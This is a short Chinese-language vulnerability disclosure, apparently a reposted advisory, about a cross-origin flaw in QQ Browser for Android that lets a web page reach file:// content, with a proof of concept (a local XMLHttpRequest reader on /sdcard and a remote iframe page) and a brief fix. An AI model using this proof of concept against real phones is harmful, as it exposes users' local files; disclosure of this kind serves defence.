QQ浏览器for android跨域及修复
QQ 浏览器 for android 在跨域实现上存在缺陷导致漏洞。
原则上从 internet 域禁止访问 file 域,但是 QQ 浏览器在实现上存在缺陷,造成可以从 internet 域访问到 file 域上的文件,如果 file 域上存在一个漏洞文件则可以获取手机端的敏感信息等。
1、在手机上生成一个如下代码的 html 文件,位置随意,我这里放置到 /sdcard/ 目录下:
<script type="text/javascript">var request = false;if (window.XMLHttpRequest) { request = new XMLHttpRequest(); if (request.overrideMimeType) { request.overrideMimeType("text/xml"); }} else if (window.ActiveXObject) { var versions = ["Microsoft.XMLHTTP", "MSXML.XMLHTTP", "Microsoft.XMLHTTP", "Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP"]; for (var i = 0; i < versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch (e) {} }}xmlhttp = request;xmlhttp.open("GET", document.URL, false);xmlhttp.send(null);alert(xmlhttp.responseText);</script>
2、在任意 internet 域下上传一个如下代码的 html 文件,比如 http://victim.com/ 下:
<!DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>qq browser file vul</title><body><script type="text/javascript"></script>sdcard file <br/><iframe src="file:///sdcard/qq.html"></iframe></body></html>
3、通过 http://victim.com/qq.html 进行访问,如下图
PS:至于怎么在手机上放置一个存在漏洞的文件那又是另外一个问题了。
修复方案:
1、限定 internet 域对 file 域的访问
>更多相关文章
首页推荐
佛山市东联科技有限公司一直秉承“一切以用户价值为依归
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 12-05亚马逊推出新一代基础模型 任意模态生成大模
- 12-05OpenAI拓展欧洲业务 将在苏黎世设立办公室
- 12-05微软质疑美国联邦贸易委员会泄露信息 督促其
- 12-05联交所取消宝宝树上市地位 宝宝树:不会对公
- 12-04企业微信致歉:文档打开异常已完成修复
相关文章
24小时热门资讯
24小时回复排行
热门推荐
最新资讯
操作系统
黑客防御